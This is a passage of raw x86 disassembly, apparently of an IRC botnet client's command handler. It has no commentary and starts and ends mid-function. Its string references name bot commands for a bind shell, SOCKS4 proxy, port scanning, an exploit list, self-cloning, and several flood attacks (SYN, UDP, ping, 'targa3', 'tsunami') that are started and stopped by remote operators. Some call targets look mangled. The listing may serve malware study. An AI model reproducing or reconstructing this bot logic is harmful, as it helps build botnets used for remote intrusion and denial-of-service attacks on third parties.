		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFD4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFB8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFB0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF98
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42CF5C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF18


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEF0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42CEB8
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE50 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D128 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE10 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D124 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D124 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD64


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD3C
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD20
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD04
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCF0
		push	offset dword_42CCE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCC4
		push	offset dword_42CCB4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CCA8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB44
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA88
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA68
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C9A4
		jnz	short loc_403192
		mov	eax, offset unk_42C97C


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
